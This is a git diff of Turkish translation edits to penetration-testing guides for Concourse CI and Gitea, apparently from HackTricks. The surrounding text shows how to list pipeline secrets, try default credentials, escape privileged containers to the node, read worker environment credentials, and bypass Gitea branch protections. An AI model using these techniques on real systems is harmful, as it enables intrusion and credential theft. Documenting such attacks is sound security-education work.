for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
@@ -109,27 +109,27 @@ rm /tmp/secrets.txt
```
#### Containers & Workers
-- **worker'ları** listele:
+- **workers** listesini al:
- `fly -t workers`
-- **container'ları** listele:
+- **containers** listesini al:
- `fly -t containers`
-- **build'leri** listele (ne olduğunu görmek için):
+- **builds** listesini al (çalışanları görmek için):
- `fly -t builds`
### Concourse Saldırıları
-#### Kimlik Bilgileri Kaba Kuvvet
+#### Kimlik Bilgileri Brute-Force
- admin:admin
- test:test
-#### Gizli Bilgiler ve parametrelerin listelenmesi
+#### Gizli Anahtarlar ve Parametrelerin Sıralanması
-Önceki bölümde, pipeline tarafından kullanılan **tüm gizli isimleri ve değişkenleri** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgiler içerebilir** ve **gizli bilgilerin isimleri** daha sonra **çalmaya çalışmak için** faydalı olacaktır.
+Önceki bölümde, pipeline tarafından kullanılan **tüm gizli anahtarların isimlerini ve değişkenlerini** nasıl alabileceğinizi gördük. **Değişkenler hassas bilgileri içerebilir** ve **gizli anahtarların isimleri** daha sonra onları çalmaya çalışmak için faydalı olacaktır.
-#### Çalışan veya yakın zamanda çalışmış container içinde oturum
+#### Çalışan veya yakın zamanda çalışmış bir konteyner içinde oturum
-Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri** listeleyebilir ve sadece `/` **container'ında** bir **oturum açabilirsiniz**:
+Yeterli ayrıcalıklara sahipseniz (**üye rolü veya daha fazlası**) **pipeline'ları ve rolleri listeleyebilir** ve sadece `/` **konteyneri içinde bir oturum** açabilirsiniz:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
@@ -138,7 +138,7 @@ Bu izinlerle şunları yapabilirsiniz:
- **Konteynerin** içindeki **gizli bilgileri çalmak**
- **Düğüm**e **kaçmaya** çalışmak
-- **Bulut meta verisi** uç noktasını (poddan ve mümkünse düğümden) saymak/istismar etmek
+- **Cloud metadata** uç noktasını (pod'dan ve mümkünse düğümden) listelemek/suistimal etmek
#### Pipeline Oluşturma/Düzenleme
@@ -166,16 +166,16 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
-Yeni bir pipeline'ın **modifikasyonu/yaratılması** ile şunları yapabileceksiniz:
+Yeni bir pipeline'ın **değiştirilmesi/yapılması** ile şunları yapabileceksiniz:
- **Gizli bilgileri çalmak** (onları dışa vurarak veya konteynere girip `env` komutunu çalıştırarak)
-- **Düğümden kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`)
-- **Bulut metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve düğümden)
+- **Node'a kaçmak** (size yeterli ayrıcalıklar vererek - `privileged: true`)
+- **Cloud metadata** uç noktasını listelemek/suistimal etmek (pod'dan ve node'dan)
- Oluşturulan pipeline'ı **silmek**
#### Özel Görev Çalıştırma
-Bu, önceki yönteme benzer ancak tamamen yeni bir pipeline'ı modifiye/yaratmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır):
+Bu, önceki yönteme benzer, ancak tamamen yeni bir pipeline'ı değiştirmek/yapmak yerine **sadece özel bir görevi çalıştırabilirsiniz** (bu muhtemelen çok daha **gizli** olacaktır):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -199,7 +199,7 @@ fly -t tutorial execute --privileged --config task_config.yml
```
#### Yetkili görevden düğüme kaçış
-Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermez. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir.
+Önceki bölümlerde **concourse ile yetkili bir görevi nasıl çalıştıracağımızı** gördük. Bu, konteynıra bir docker konteynerindeki yetkili bayrağın sağladığı erişimi tam olarak vermeyecektir. Örneğin, /dev içinde düğüm dosya sistemi cihazını göremezsiniz, bu nedenle kaçış daha "karmaşık" olabilir.
Aşağıdaki PoC'de, bazı küçük değişikliklerle kaçış yapmak için release_agent'ı kullanacağız:
```bash
@@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
-> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd'nin yolunu değiştirmektedir.
+> Fark etmiş olabileceğiniz gibi, bu sadece bir [**normal release_agent kaçışı**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) ve sadece noddaki cmd yolunu değiştirmektedir.
#### Bir Worker konteynerinden node'a kaçış
@@ -304,7 +304,7 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
-Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğümden kaçmak** için kullanabilirsiniz.
+Bu kimlik bilgilerini **web sunucusuna giriş yapmak** ve **yetkili bir konteyner oluşturup düğüme kaçmak** için kullanabilirsiniz.
Ortamda ayrıca concourse'un kullandığı **postgresql** örneğine erişim bilgilerini (adres, **kullanıcı adı**, **şifre** ve veritabanı gibi diğer bilgiler) bulabilirsiniz:
```bash
@@ -330,12 +330,12 @@ select * from users;
#### Garden Servisini Kötüye Kullanma - Gerçek Bir Saldırı Değil
> [!WARNING]
-> Bu, hizmet hakkında bazı ilginç notlardır, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce sömürdüğümüz herhangi bir etkiyi sunmayacaktır.
+> Bu sadece hizmetle ilgili bazı ilginç notlar, ancak yalnızca localhost'ta dinlediği için, bu notlar daha önce zaten istismar ettiğimiz bir etki sunmayacak.
-Varsayılan olarak, her concourse işçisi 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, işçiye **ne yapması gerektiğini** belirtmek için Web yöneticisi tarafından kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:
+Varsayılan olarak her concourse işçi, 7777 numaralı portta bir [**Garden**](https://github.com/cloudfoundry/garden) hizmeti çalıştıracaktır. Bu hizmet, Web yöneticisi tarafından işçiye **ne yapması gerektiğini** belirtmek için kullanılır (görüntüyü indirmek ve her görevi çalıştırmak). Bu, bir saldırgan için oldukça iyi görünüyor, ancak bazı güzel korumalar var:
-- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğruladığında, web sunucusunun her işçi içindeki her Garden hizmeti ile **konuşabilmesi için** bir tünel oluşturuluyor.
-- Web sunucusu, **çalışan konteynerleri her birkaç saniyede bir izliyor** ve **beklenmeyen** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **değiştirmeniz** gerekiyor.
+- Sadece **yerel olarak** (127..0.0.1) **açık** ve bence işçi, özel SSH hizmeti ile Web'e kimlik doğrulaması yaptığında, web sunucusunun her işçi içindeki **her Garden hizmetiyle** **iletişim kurabilmesi için** bir tünel oluşturuluyor.
+- Web sunucusu, **her birkaç saniyede bir çalışan konteynerleri izliyor** ve **beklenmedik** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **manipüle** etmeniz gerekiyor.
Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır:
```
@@ -348,10 +348,10 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-Ancak, **mounting** tekniği gibi /dev cihazını veya release_agent **çalışmaz** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir tane var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.
+Ancak, düğümün /dev cihazını veya release_agent'ı **monte etme** gibi teknikler **çalışmayacak** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir cihaz var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor.
> [!NOTE]
-> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle **current** **worker** tarafından oluşturulan bir **privileged container** içinde **komutlar** **çalıştırabiliyorsak**, **düğüme kaçabiliriz**.
+> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle eğer **mevcut** **işçi** tarafından oluşturulan bir **ayrıcalıklı konteynerde** komutları **çalıştırabiliyorsak**, **düğüme kaçabiliriz**.
Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index b4e188d10..1c8d2b9f9 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,4 +1,4 @@
-# Concourse Laboratuvarı Oluşturma
+# Concourse Lab Creation
{{#include ../../banners/hacktricks-training.md}}
@@ -15,9 +15,9 @@ docker-compose up -d
```
`fly` komut satırını işletim sisteminiz için `127.0.0.1:8080` adresinden indirebilirsiniz.
-#### Kubernetes ile (Tavsiye Edilir)
+#### Kubernetes ile (Tavsiye Edilen)
-**Kubernetes** (örneğin **minikube** içinde) kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+**Kubernetes**'te (örneğin **minikube**'da) helm-chart kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -75,17 +75,17 @@ Bir pipeline, sıralı bir [Jobs](https://concourse-ci.org/jobs.html) listesi il
Birçok farklı türde adım kullanılabilir:
-- **the** [**`task` adımı**](https://concourse-ci.org/task-step.html) **bir** [**görev**](https://concourse-ci.org/tasks.html) **çalıştırır**
-- [`get` adımı](https://concourse-ci.org/get-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) alır
-- [`put` adımı](https://concourse-ci.org/put-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) günceller
-- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline'ı](https://concourse-ci.org/pipelines.html) yapılandırır
-- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [yerel bir değişkene](https://concourse-ci.org/vars.html#local-vars) yükler
+- **`task` adımı** [**`task`**](https://concourse-ci.org/tasks.html) **çalıştırır**
+- [`get` adımı](https://concourse-ci.org/get-step.html) bir [resource](https://concourse-ci.org/resources.html) alır
+- [`put` adımı](https://concourse-ci.org/put-step.html) bir [resource](https://concourse-ci.org/resources.html) günceller
+- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline](https://concourse-ci.org/pipelines.html) yapılandırır
+- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [local var](https://concourse-ci.org/vars.html#local-vars) içine yükler
- [`in_parallel` adımı](https://concourse-ci.org/in-parallel-step.html) adımları paralel olarak çalıştırır
- [`do` adımı](https://concourse-ci.org/do-step.html) adımları sırayla çalıştırır
- [`across` adım modifikasyonu](https://concourse-ci.org/across-step.html#schema.across) bir adımı birden fazla kez çalıştırır; her bir değişken değeri kombinasyonu için bir kez
- [`try` adımı](https://concourse-ci.org/try-step.html) bir adımı çalıştırmayı dener ve adım başarısız olsa bile başarılı olur
-Her [adım](https://concourse-ci.org/steps.html) bir [iş planında](https://concourse-ci.org/jobs.html#schema.job.plan) **kendi konteynerinde** çalışır. Konteynerin içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash betiğini çalıştır, bu görüntüyü oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır.
+Her [step](https://concourse-ci.org/steps.html) bir [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) içinde **kendi konteynerinde** çalışır. Konteyner içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash scriptini çalıştır, bu resmi oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır.
Bu nedenle, her adımın çalıştırılması gereken konteyner türünü belirtmek mümkündür.
@@ -123,21 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-Check **127.0.0.1:8080** to see the pipeline flow.
+**127.0.0.1:8080** adresini kontrol edin, pipeline akışını görmek için.
-### Bash script with output/input pipeline
+### Çıktı/girdi pipeline'ı ile Bash scripti
-Bir görevin **sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek mümkündür, ardından bir sonraki görevin girişi olarak önceki görevin çıktısını belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**.
+**Bir görevin sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek, ardından bir sonraki görevin girdisini önceki görevin çıktısı olarak belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**.
-### Triggers
+### Tetikleyiciler
-Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, her seferinde çalışacak şekilde programlayabilirsiniz:
+Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, bunları her seferinde çalışacak şekilde programlayabilirsiniz:
- Bir süre geçtikten sonra: [Time resource](https://github.com/concourse/time-resource/)
- Ana dalda yeni commitler olduğunda: [Git resource](https://github.com/concourse/git-resource)
- Yeni PR'ler: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Uygulamanızın en son görüntüsünü almak veya göndermek: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) adresinde kontrol edin.
+Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini kontrol edin: [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index aa163bb26..80db16375 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -27,21 +27,21 @@ Ayrıca bunu kubernetes ile çalıştırabilirsiniz:
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
-## Kimlik Doğrulaması Olmadan Sıralama
+## Kimlik Doğrulaması Olmadan Sayım
- Kamu reposu: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
- Kayıtlı kullanıcılar: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- Kayıtlı Organizasyonlar: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** daha fazla **repo veya organizasyonu görüntüleyebilir.**
+**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** **daha fazla repo veya organizasyonu görüntüleyebilir.**
## Dahili Sömürü
-Bu senaryo için bir github hesabına erişim sağladığınızı varsayacağız.
+Bu senaryoda bir github hesabına erişim sağladığınızı varsayacağız.
### Kullanıcı Kimlik Bilgileri/Web Çerezi ile
-Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine sahipseniz (veya bir oturum çerezini çaldıysanız) **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **repo'larda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **repo'ların nasıl korunduğunu** kontrol edebilirsiniz.
+Eğer bir şekilde bir organizasyon içindeki bir kullanıcı için kimlik bilgilerine (veya bir oturum çerezine) sahipseniz, **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **reposlarda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **reposların nasıl korunduğunu** kontrol edebilirsiniz.
**2FA kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
@@ -52,15 +52,15 @@ Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine
Gitea, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına izin verir (2FA uygulanmaz).
-Bu anahtar ile kullanıcının bazı ayrıcalıklara sahip olduğu **repo'larda değişiklikler yapabilirsiniz**, ancak gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan repo ve kullanıcı hakkında bilgi almak için **yerel ayarları sıralayabilirsiniz:**
+Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **reposlarda değişiklikler yapabilirsiniz**, ancak bunu gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan reposlar ve kullanıcı hakkında bilgi almak için **yerel ayarları sayabilirsiniz:**
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
+Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırdıysa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
-**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
+**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
#### GPG Anahtarları
@@ -74,38 +74,38 @@ gpg --list-secret-keys --keyid-format=long
[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-gitea-information.md#personal-access-tokens) için bir giriş.
-Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcının üzerinde **tam erişim** olacaktır.
+Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcı üzerinde **tam erişim** sağlar.
### Oauth Uygulaması ile
[**Gitea Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](./#with-oauth-application) için bir giriş.
-Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/işlemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
+Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
Temel bilgilerde açıklandığı gibi, uygulama **kullanıcı hesabı üzerinde tam erişime** sahip olacaktır.
### Dal Koruma Atlatma
-Github'da, varsayılan olarak repo üzerinde **yazma erişimi olan bir token** alan **github actions** bulunmaktadır; bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **mevcut değildir**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir göz atalım:
+Github'da, varsayılan olarak repo üzerinde **yazma erişimi** olan bir **token** alan **github actions** bulunmaktadır. Bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **böyle bir şey yok**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir bakalım:
- **Push'u Etkinleştir**: Yazma erişimi olan herhangi biri dalına push yapabiliyorsa, sadece push yapın.
-- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listenin bir parçasıysanız dalına push yapın.
-- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, içinde olmanız gerekir.
+- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listeye dahil iseniz dalına push yapın.
+- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, onun içinde olmanız gerekir.
- **Onay gereksinimi 0'dan büyük**: O zaman... başka bir kullanıcıyı tehlikeye atmanız gerekir.
-- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onaylayabiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir.
+- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onay verebiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir.
- **Eski onayları geçersiz kıl**: Eğer onaylar yeni commitlerle kaldırılmıyorsa, onaylanmış bir PR'yi ele geçirip kodunuzu ekleyebilir ve PR'yi birleştirebilirsiniz.
**Eğer bir org/repo yöneticisiyseniz** korumaları atlatabileceğinizi unutmayın.
-### Webhook'ları Listele
+### Webhook'ları Sayma
-**Webhook'lar**, **belirli gitea bilgilerini bazı yerlere gönderebilir**. Bu iletişimi **istismar etme** imkanınız olabilir.\
+**Webhook'lar**, belirli gitea bilgilerini bazı yerlere **gönderebilir**. Bu iletişimi **istismar edebilirsiniz**.\
Ancak genellikle, **webhook** içinde **geri alınamaz** bir **gizli anahtar** ayarlanır; bu, URL'sini bilen ancak gizli anahtarı bilmeyen dış kullanıcıların **o webhook'u istismar etmesini** **önler**.\
-Ancak bazı durumlarda, insanlar **gizli anahtarı** yerinde ayarlamak yerine, **URL'ye** bir parametre olarak ayarlar; bu nedenle **URL'leri kontrol etmek**, **gizli anahtarları bulmanıza** ve daha fazla istismar edebileceğiniz diğer yerleri keşfetmenize olanak tanıyabilir.
+Ancak bazı durumlarda, insanlar **gizli anahtarı** yerine **URL'ye** bir parametre olarak ayarlayabilir, bu nedenle **URL'leri kontrol etmek** size **gizli anahtarları** ve daha fazla istismar edebileceğiniz diğer yerleri bulma imkanı verebilir.
Webhook'lar **repo ve org seviyesinde** ayarlanabilir.
-## İstismar Sonrası
+## Sonrası İstismar
### Sunucu İçinde
@@ -115,9 +115,9 @@ Bu dosyada **anahtarlar** ve **şifreler** bulabilirsiniz.
Gitea yolunda (varsayılan: /data/gitea) ayrıca ilginç bilgiler bulabilirsiniz:
-- **sqlite** DB: Gitea harici bir db kullanmıyorsa, bir sqlite db kullanacaktır.
+- **sqlite** DB: Gitea harici bir veritabanı kullanmıyorsa, bir sqlite veritabanı kullanacaktır.
- **oturumlar** oturumlar klasörü içinde: `cat sessions/*/*/*` komutunu çalıştırarak oturum açmış kullanıcıların kullanıcı adlarını görebilirsiniz (gitea ayrıca oturumları DB içinde de saklayabilir).
-- **jwt özel anahtarı** jwt klasörü içinde.
+- **jwt özel anahtarı** jwt klasörü içinde
- Bu klasörde daha fazla **hassas bilgi** bulunabilir.
Eğer sunucu içindeyseniz, bilgileri erişmek/değiştirmek için **`gitea` ikili dosyasını** de kullanabilirsiniz:
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6b87626c..8a06b760d 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,20 +1,20 @@
-# Basic Gitea Information
+# Temel Gitea Bilgisi
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Temel Yapı
-Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından reposları gruplandırmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın.
+Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından repo gruplandırması yapmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın.
Ayrıca, bir **kullanıcı** **farklı organizasyonların** **üyesi** olabilir. Organizasyon içinde kullanıcı, her depo üzerinde **farklı izinlere** sahip olabilir.
-Bir kullanıcı ayrıca **farklı takımların** bir parçası olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir.
+Bir kullanıcı ayrıca **farklı takımların** **bir parçası** olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir.
Ve nihayetinde **depolar özel koruma mekanizmalarına** sahip olabilir.
-## Permissions
+## İzinler
-### Organizations
+### Organizasyonlar
Bir **organizasyon oluşturulduğunda**, **Sahipler** adında bir takım **oluşturulur** ve kullanıcı bu takımın içine yerleştirilir. Bu takım, **organizasyon** üzerinde **yönetici erişimi** verecektir; bu **izinler** ve takımın **adı** **değiştirilemez**.
@@ -36,65 +36,65 @@ Yeni bir takım oluştururken, birkaç önemli ayar seçilir:
.png>)
-### Teams & Users
+### Takımlar & Kullanıcılar
-Bir depoda, **org yöneticisi** ve **repo yöneticileri** (organizasyon tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır:
+Bir depoda, **org yöneticisi** ve **repo yöneticileri** (org tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır:
- Yönetici
- Yazma
- Okuma
-## Gitea Authentication
+## Gitea Kimlik Doğrulaması
-### Web Access
+### Web Erişimi
-**Kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile.
+**kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile.
-### **SSH Keys**
+### **SSH Anahtarları**
Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına** izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-#### **GPG Keys**
+#### **GPG Anahtarları**
Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmazsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir.
-### **Personal Access Tokens**
+### **Kişisel Erişim Jetonları**
-Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim token'ı oluşturabilirsiniz. Kişisel erişim token'ı, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-### Oauth Applications
+### Oauth Uygulamaları
-Kişisel erişim token'ları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor:
+Kişisel erişim jetonları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor:
.png>)
-### Deploy keys
+### Dağıtım Anahtarları
-Deploy anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir.
+Dağıtım anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir.
-## Branch Protections
+## Dal Koruma
